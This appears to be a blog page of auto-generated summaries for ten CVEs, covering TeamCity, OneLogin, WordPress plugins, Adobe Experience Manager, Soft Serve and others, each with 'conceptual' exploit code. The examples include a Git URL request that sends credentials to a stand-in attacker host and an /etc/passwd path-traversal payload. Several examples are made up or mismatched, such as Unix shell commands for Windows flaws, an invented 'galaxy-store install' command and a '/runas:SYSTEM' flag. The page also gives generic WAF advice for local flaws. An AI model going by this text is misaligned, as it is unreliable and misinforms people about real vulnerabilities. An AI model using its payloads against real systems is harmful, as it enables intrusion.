Author: Ameeba

  • CVE-2025-53947: Local Attacker Data Corruption Vulnerability in Windows Systems

    Overview

    The vulnerability identified as CVE-2025-53947 is a serious security flaw that affects Windows systems. It allows low-privileged local attackers to exploit this vulnerability and corrupt sensitive data, leading to a potential system compromise or data leakage. The gravity of this vulnerability escalates considering the potential impact it can have on user data and system integrity.

    Vulnerability Summary

    CVE ID: CVE-2025-53947
    Severity: High (7.7 CVSS Score)
    Attack Vector: Local
    Privileges Required: Low
    User Interaction: Required
    Impact: Potential system compromise and data leakage

    Affected Products

    Product | Affected Versions

    Windows | All versions up to the date of the report

    How the Exploit Works

    The vulnerability arises from a data folder created with very weak privileges. This design flaw allows any user logged into the Windows system to modify its content. An attacker with low privileges can exploit this vulnerability by altering or corrupting the data within this folder, leading to compromised system integrity or potential data leakage.

    Conceptual Example Code

    An example of how this vulnerability might be exploited could involve a simple command line script to modify the contents of the data folder. A conceptual example might look like this:

    # This is a conceptual example, not actual exploit code
    cd /path/to/data/folder
    echo "corrupted data" > sensitive_file.txt

    Please note that this is a generalized and hypothetical example. The actual exploit would be contingent upon the specific configuration and state of the vulnerable system.

    Mitigation Guidance

    To mitigate this vulnerability, it is recommended to apply the vendor patch once it becomes available. As a temporary mitigation measure, use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor any suspicious activities in the system. Moreover, it is advised to limit user privileges and regularly audit your system for any unauthorized changes.

  • CVE-2025-59457: Git URL Validation Vulnerability Leading to Credential Leakage in JetBrains TeamCity

    Overview

    This report provides an in-depth analysis of the CVE-2025-59457 vulnerability, a significant cyber threat identified in JetBrains TeamCity versions prior to 2025.07.2. The vulnerability specifically affects Windows users and has the potential to lead to system compromise or data leakage. It is critical due to the risk it presents, allowing unauthorized actors to gain access to confidential credentials.

    Vulnerability Summary

    CVE ID: CVE-2025-59457
    Severity: High (7.7 CVSS Score)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Credential leakage leading to potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    JetBrains TeamCity | Before 2025.07.2

    How the Exploit Works

    The vulnerability originates from an absence of Git URL validation in JetBrains TeamCity. An attacker could manipulate Git URLs to redirect requests to a malicious server. Due to the lack of validation, the system would treat this as a legitimate request, thus sending the user’s credentials to the attacker’s server, leading to unauthorized access and potential data leakage.

    Conceptual Example Code

    Here is a conceptual example of how the vulnerability could be exploited, in this case by sending a manipulated Git URL request:

    POST /git/clone HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    {
    "git_url": "http://malicious.example.com/evil-repo.git"
    }

    This request would cause the system to clone from the malicious repository, in the process sending user credentials to the attacker’s server.

    Mitigation Guidance

    To mitigate the risks associated with this vulnerability, users are recommended to apply the vendor’s patch. JetBrains has released a patch in the version 2025.07.2, which addresses this vulnerability. In the absence of an immediate patch application, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation strategy. However, these should not be considered long-term solutions. Regular patching and system updates remain the most effective way to secure systems against known vulnerabilities.

  • CVE-2025-59363: One Identity OneLogin OIDC Client Secret Exposure

    Overview

    The vulnerability CVE-2025-59363 is a critical security flaw found in the One Identity OneLogin system. This flaw affects versions prior to 2025.3.0, making it possible for potential attackers to potentially gain unauthorized access to OIDC client secrets. This can lead to system compromise and data leakage, posing a significant threat to the privacy and integrity of sensitive information.

    Vulnerability Summary

    CVE ID: CVE-2025-59363
    Severity: High (7.7)
    Attack Vector: Network
    Privileges Required: Low
    User Interaction: None
    Impact: Potential system compromise and data leakage

    Affected Products

    Product | Affected Versions

    One Identity OneLogin | Before 2025.3.0

    How the Exploit Works

    The vulnerability is due to the inappropriate handling of OIDC client secrets by the GET Apps API v2 in One Identity OneLogin. Instead of returning this secret only when an App is first created, the system returns it with every request. This exposes the OIDC client secret to unauthorized viewers, potentially allowing them to gain unauthorized access to the system.

    Conceptual Example Code

    Below is a conceptual example of a simple HTTP GET request to exploit this vulnerability:

    GET /api/v2/apps HTTP/1.1
    Host: target.onelogin.com
    Authorization: Bearer <access_token>

    The response in a vulnerable system will include the OIDC client secret:

    HTTP/1.1 200 OK
    Content-Type: application/json
    {
    "apps": [
    {
    "id": 12345,
    "name": "Vulnerable app",
    "oidc_client_secret": "exposed_secret"
    }
    ]
    }

    Mitigation Guidance

    To mitigate this vulnerability, affected users are advised to apply the latest patch provided by the vendor. In the absence of a patch, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. Nevertheless, applying the vendor’s patch is the recommended and most thorough solution.

  • CVE-2025-10040: Unauthorized Data Access Vulnerability in WP Import – Ultimate CSV XML Importer for WordPress

    Overview

    This report discusses CVE-2025-10040, a severe vulnerability affecting the WP Import – Ultimate CSV XML Importer for WordPress plugin. The vulnerability allows authenticated attackers with Subscriber-level access to retrieve a configured set of SFTP/FTP credentials, leading to potential system compromise or data leakage. It is critical for organizations implementing this plugin to understand and mitigate this issue promptly.

    Vulnerability Summary

    CVE ID: CVE-2025-10040
    Severity: High (CVSS: 7.7)
    Attack Vector: Network
    Privileges Required: Low (Subscriber-level access)
    User Interaction: Required
    Impact: Potential system compromise, data leakage

    Affected Products

    Product | Affected Versions

    WP Import – Ultimate CSV XML Importer for WordPress | Up to and including 7.27

    How the Exploit Works

    The vulnerability arises from a missing capability check on the ‘get_ftp_details’ AJAX action in the affected plugin. This omission allows authenticated users with Subscriber-level privileges to initiate a network-based attack, making an AJAX call to the ‘get_ftp_details’ endpoint and successfully retrieving a configured set of SFTP/FTP credentials. This unauthorized access can potentially lead to system compromise or data leakage.

    Conceptual Example Code

    This is a conceptual example of how the vulnerability might be exploited using an AJAX call:

    POST /wp-admin/admin-ajax.php?action=get_ftp_details HTTP/1.1
    Host: target.example.com
    Content-Type: application/x-www-form-urlencoded
    Cookie: wordpress_logged_in_[hash]=username|expiry_date|session_token

    Mitigation Guidance

    To mitigate this vulnerability, users are advised to apply the vendor-provided patch. If a patch is not immediately available or implementable, employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. This would help monitor and possibly block suspicious activity related to this exploit.

  • CVE-2025-54248: Adobe Experience Manager Vulnerability Leading to Security Feature Bypass

    Overview

    This report highlights the critical vulnerability, CVE-2025-54248, found in Adobe Experience Manager versions 6.5.23.0 and earlier. The vulnerability, classified as an Improper Input Validation, could potentially lead to a security feature bypass, allowing unauthorized access to data. Considering the widespread use of Adobe Experience Manager, this vulnerability could have far-reaching implications and needs to be addressed promptly.

    Vulnerability Summary

    CVE ID: CVE-2025-54248
    Severity: High (7.7/10)
    Attack Vector: Network
    Privileges Required: Low
    User Interaction: None
    Impact: Unauthorized access to data, potential system compromise, data leakage

    Affected Products

    Product | Affected Versions

    Adobe Experience Manager | 6.5.23.0 and earlier

    How the Exploit Works

    The vulnerability lies in the improper input validation mechanism in Adobe Experience Manager. An attacker could exploit this by sending specially crafted requests to the server, which due to the improper validation, could allow the attacker to bypass security measures. This could result in unauthorized access to data and potentially compromise the system.

    Conceptual Example Code

    Here’s a conceptual example of how the vulnerability could be exploited using a HTTP request:

    POST /vulnerable/endpoint HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    { "malicious_payload": "<payload exploiting input validation>" }

    In this example, the malicious_payload is sent to a vulnerable endpoint, exploiting the improper input validation mechanism and potentially allowing the attacker to bypass security measures and gain unauthorized access.

    Mitigation Guidance

    To mitigate this vulnerability, Adobe has released a patch for the affected versions of Adobe Experience Manager. It is highly recommended to apply this patch as soon as possible. In the interim, use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can offer temporary mitigation.

  • CVE-2024-34598: Improper Export Component Vulnerability in GoodLock

    Overview

    A significant vulnerability has been identified in GoodLock, a widely used software application. The vulnerability, tagged as CVE-2024-34598, could allow local attackers to install arbitrary applications from Galaxy Store. This vulnerability affects all versions of GoodLock prior to 2.2.04.95 and poses a serious threat to data security, as it potentially leads to system compromise and data leakage.

    Vulnerability Summary

    CVE ID: CVE-2024-34598
    Severity: High (7.7 CVSS score)
    Attack Vector: Local
    Privileges Required: Low
    User Interaction: Required
    Impact: Successful exploitation could lead to system compromise and potential data leakage.

    Affected Products

    Product | Affected Versions

    GoodLock | All versions prior to 2.2.04.95

    How the Exploit Works

    The vulnerability stems from an improper export of a component in GoodLock, which allows local attackers to install arbitrary applications from Galaxy Store. This could be achieved by utilizing a specially crafted request or manipulation of certain system settings. The attacker could then potentially gain unauthorized access to sensitive data or even take control of the system.

    Conceptual Example Code

    This is a conceptual example and does not represent an actual exploit. The idea here is to illustrate the potential way an attacker might exploit this vulnerability:

    # Attacker uses local access to manipulate system settings
    $ echo 'export PATH=/path/to/malicious/app:$PATH' >> ~/.bashrc
    # Attacker installs arbitrary application from Galaxy Store
    $ galaxy-store install arbitrary_app

    Countermeasures and Mitigation

    Users are strongly advised to update their GoodLock software to version 2.2.04.95 or later to mitigate this vulnerability. If unable to update immediately, users may employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. Regular audits and penetration testing can also help to identify and fix any potential vulnerabilities.

  • CVE-2025-58355: Arbitrary File Creation or Override Vulnerability in Soft Serve Git Server

    Overview

    This report details the vulnerability identified as CVE-2025-58355 in the self-hostable Git server, Soft Serve. It affects versions 0.9.1 and below of the software, posing a significant security risk due to the possibility of arbitrary file creation or overriding through its SSH API. This is a matter of grave concern as it could enable an attacker to compromise the system or leak data.

    Vulnerability Summary

    CVE ID: CVE-2025-58355
    Severity: High (7.7 CVSS score)
    Attack Vector: Network (via SSH API)
    Privileges Required: Low
    User Interaction: None
    Impact: System compromise, data leakage

    Affected Products

    Product | Affected Versions

    Soft Serve Git Server | 0.9.1 and below

    How the Exploit Works

    An attacker can exploit this vulnerability by sending malicious requests over the SSH API. The requests can contain uncontrolled data that can be used to create new files or overwrite existing ones on the system. The lack of proper data validation exacerbates this vulnerability.

    Conceptual Example Code

    A conceptual example of how the vulnerability might be exploited could look like this:

    ssh -p 2222 user@target.example.com 'echo arbitrary_data > /path/to/vulnerable/file'

    In this example, the attacker uses SSH to connect to the target server, then uses the echo command to write arbitrary data to a file. The path to the file is specified directly in the command, allowing the attacker to target specific files.

    Mitigation Guidance

    The most effective way to mitigate this vulnerability is to apply the vendor patch, which is provided in Soft Serve Git Server version 0.10.0. If an immediate update is not possible, deploying a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These tools can help detect and prevent malicious SSH requests from reaching the server. However, these are not long-term solutions, and updating to a patched version is strongly recommended as soon as feasible.

  • CVE-2024-52284: Unauthorized Disclosure of Sensitive Data Due to Insufficient Permission Restriction in BundleDeployment Resources

    Overview

    The vulnerability, designated as CVE-2024-52284, exposes sensitive data and affects any user with GET or LIST permissions on BundleDeployment resources. This flaw could allow unauthorized users to retrieve Helm values containing credentials or other secrets, posing a significant risk to data integrity and security. It is crucial to address this vulnerability promptly to prevent any potential system compromise or data leakage.

    Vulnerability Summary

    CVE ID: CVE-2024-52284
    Severity: High (7.7 CVSS Score)
    Attack Vector: Network
    Privileges Required: Low (GET or LIST permissions on BundleDeployment resources)
    User Interaction: None
    Impact: Unauthorized disclosure of sensitive data, potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    Helm | All versions before patch
    Kubernetes | All versions supporting Helm and BundleDeployment resources

    How the Exploit Works

    An attacker, exploiting this vulnerability, would need to have GET or LIST permissions on BundleDeployment resources. With these permissions, they can send a GET or LIST request to retrieve Helm values, which may contain confidential credentials or other secrets. The flaw lies in the inadequate permission restrictions on these resources, enabling unauthorized data exposure.

    Conceptual Example Code

    GET /api/v1/namespaces/{namespace}/bundledeployments/{name} HTTP/1.1
    Host: target.example.com
    Authorization: Bearer {token}
    Accept: application/json

    In this example, an attacker with the necessary permissions sends a GET request to the BundleDeployment resource. The response could potentially contain sensitive Helm values if the vulnerability has not been addressed.

  • CVE-2025-58323: Privilege Escalation Vulnerability in NAVER MYBOX Explorer for Windows

    Overview

    This document provides an in-depth analysis of the CVE-2025-58323 vulnerability, which significantly impacts the NAVER MYBOX Explorer for Windows. This vulnerability can potentially allow local hackers to escalate their privileges to NT AUTHORITY\SYSTEM, giving them the ability to execute arbitrary files and leading to potential system compromises or data leakage. Consequently, it poses a grave threat to the data privacy and security of all users who utilize the affected versions of the software.

    Vulnerability Summary

    CVE ID: CVE-2025-58323
    Severity: High (CVSS: 7.7)
    Attack Vector: Local
    Privileges Required: Low
    User Interaction: Required
    Impact: Escalation of privileges, potential system compromise, and potential data leakage.

    Affected Products

    Product | Affected Versions

    NAVER MYBOX Explorer for Windows | versions before 3.0.8.133

    How the Exploit Works

    The CVE-2025-58323 vulnerability primarily stems from improper privilege checks within the NAVER MYBOX Explorer for Windows. This flaw permits local attackers to escalate their privileges to NT AUTHORITY\SYSTEM by executing arbitrary files. Given the high-level permissions associated with the NT AUTHORITY\SYSTEM, successful exploitation of this vulnerability could lead to full system control, including the potential for system compromise and data leakage.

    Conceptual Example Code

    In this conceptual example, an attacker uses a shell command to exploit the vulnerability:

    # Access to the vulnerable file
    cd C:\Program Files\NAVER\MYBOX Explorer
    # Execute arbitrary file with escalated privileges
    ./myboxexplorer.exe /runas:SYSTEM arbitraryfile.exe

    Please note that this is a conceptual representation of how the vulnerability might be exploited. The actual exploit may vary based on the attacker’s skillset and specific system configuration.

    Recommended Mitigation

    Users are strongly advised to apply the vendor patch to mitigate this vulnerability. In the absence of a vendor patch, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation. Always ensure that your systems are regularly updated and monitored to prevent potential exploits.

  • CVE-2025-54029: Path Traversal Vulnerability in extendons WooCommerce CSV Import Export

    Overview

    The cybersecurity vulnerability CVE-2025-54029 pertains to an improper limitation of a pathname to a restricted directory, also known as ‘Path Traversal’, in extendons WooCommerce CSV import export. It poses a significant risk to businesses relying on this software for their WooCommerce platforms, potentially compromising system security or leading to data leakage.

    Vulnerability Summary

    CVE ID: CVE-2025-54029
    Severity: High (7.7 CVSS Score)
    Attack Vector: Local network
    Privileges Required: Low
    User Interaction: Required
    Impact: Potential system compromise and data leakage

    Affected Products

    Product | Affected Versions

    extendons WooCommerce csv import export | n/a to 2.0.6

    How the Exploit Works

    The CVE-2025-54029 vulnerability allows an attacker to manipulate the pathname to access restricted directories. This is due to an inadequate limit set on the pathname in extendons WooCommerce CSV import/export software. By exploiting this, an attacker could potentially gain unauthorized access to sensitive data or even execute malicious commands on the affected system.

    Conceptual Example Code

    An example of how this vulnerability might be exploited is illustrated below. It involves sending a malicious HTTP request to the server, where `../../../../` represents a path traversal attempt to reach restricted directories.

    POST /extendons/woocommerce/csv-import-export HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    { "path": "../../../../etc/passwd" }

    In this example, the attacker attempts to access the ‘passwd’ file, a Unix-based file that contains user account details, which is typically restricted and not accessible to unauthorized users or external scripts.

    Mitigation Measures

    To mitigate the risks associated with CVE-2025-54029, vendors are advised to apply the latest patch released by extendons for the WooCommerce CSV import/export software. In the absence of an immediate patch, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary solution to detect and prevent path traversal attempts.

Ameeba Chat
Private by Nature

Amorphous. Adaptive. Resilient.

Ameeba Chat